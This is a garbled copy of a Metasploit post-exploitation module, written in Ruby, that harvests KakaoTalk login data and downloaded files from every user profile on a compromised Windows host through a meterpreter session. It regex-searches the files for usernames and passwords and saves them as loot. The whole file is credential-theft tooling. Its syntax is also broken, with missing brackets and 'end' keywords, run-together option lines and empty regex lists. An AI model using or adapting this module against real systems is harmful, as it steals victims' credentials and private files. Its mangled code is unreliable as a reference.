# This module requires Metasploit:
# Current source:

class MetasploitModule < Msf::Post

  # this associative array defines the artifacts known to PackRat
  include Msf::Post::File
  include Msf::Post::Windows::UserProfiles
  include Msf::Post::Windows::Packrat
      application: 'Kakao',
      app_category: 'chats',
      gatherable_artifacts: [
          filetypes: 'logins',
          path: 'LocalAppData',
          dir: 'Kakao',
          artifact_file_name: 'login_list.dat',
          description: 'The email address used for login',
          credential_type: 'text',
          regex_search: [
              extraction_description: 'Searches for credentials (USERNAMES/PASSWORDS)',
              extraction_type: 'credentials',
              regex: [
          filetypes: 'files',
          path: 'MyDocs',
          dir: 'KakaoTalk Downloads',
          artifact_file_name: '*',
          description: 'Fiels that were downloaded to the host machine'

  def initialize(info = {})
        'Name' => 'KakaoTalk credential gatherer',
        'Description' => %q{
          PackRat is a post-exploitation module that gathers file and information artifacts from end users' systems.
          PackRat searches for and downloads files of interest (such as config files, and received and deleted emails) and extracts information (such as contacts and usernames and passwords), using regexp, JSON, XML, and SQLite queries.
          Further details can be found in the module documentation.
          This is a module that searches for KakaoTalk credentials on a windows remote host. KakaoTalk is a popular mobile messaging app most widely used in South Korea.
        'License' => MSF_LICENSE,
        'Author' => [
          'Kazuyoshi Maruta',
          'Daniel Hallsworth',
          'Barwar Salim M',
          'Z. Cliffe Schreuders', #
        'Platform' => ['win'],
        'SessionTypes' => ['meterpreter'],
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [],
          'SideEffects' => []

      ['REGEX', [false, 'Match a regular expression', '^password']),'STORE_LOOT', [false, 'Store artifacts into loot database', true]),'EXTRACT_DATA', [false, 'Extract data and stores in a separate file', true]),
        # enumerates the options based on the artifacts that are defined below'ARTIFACTS', [false, 'Type of artifacts to collect', 'All', ARTIFACTS[:gatherable_artifacts].map { |k| k[:filetypes] }.uniq.unshift('All')])

  def run
    print_status('Filtering based on these selections:  ')
    print_status("ARTIFACTS: #{datastore['ARTIFACTS'].capitalize}")
    print_status("STORE_LOOT: #{datastore['STORE_LOOT']}")
    print_status("EXTRACT_DATA: #{datastore['EXTRACT_DATA']}\n")

    # used to grab files for each user on the remote host
    grab_user_profiles.each do |userprofile|
      run_packrat(userprofile, ARTIFACTS)

    print_status 'PackRat credential sweep Completed'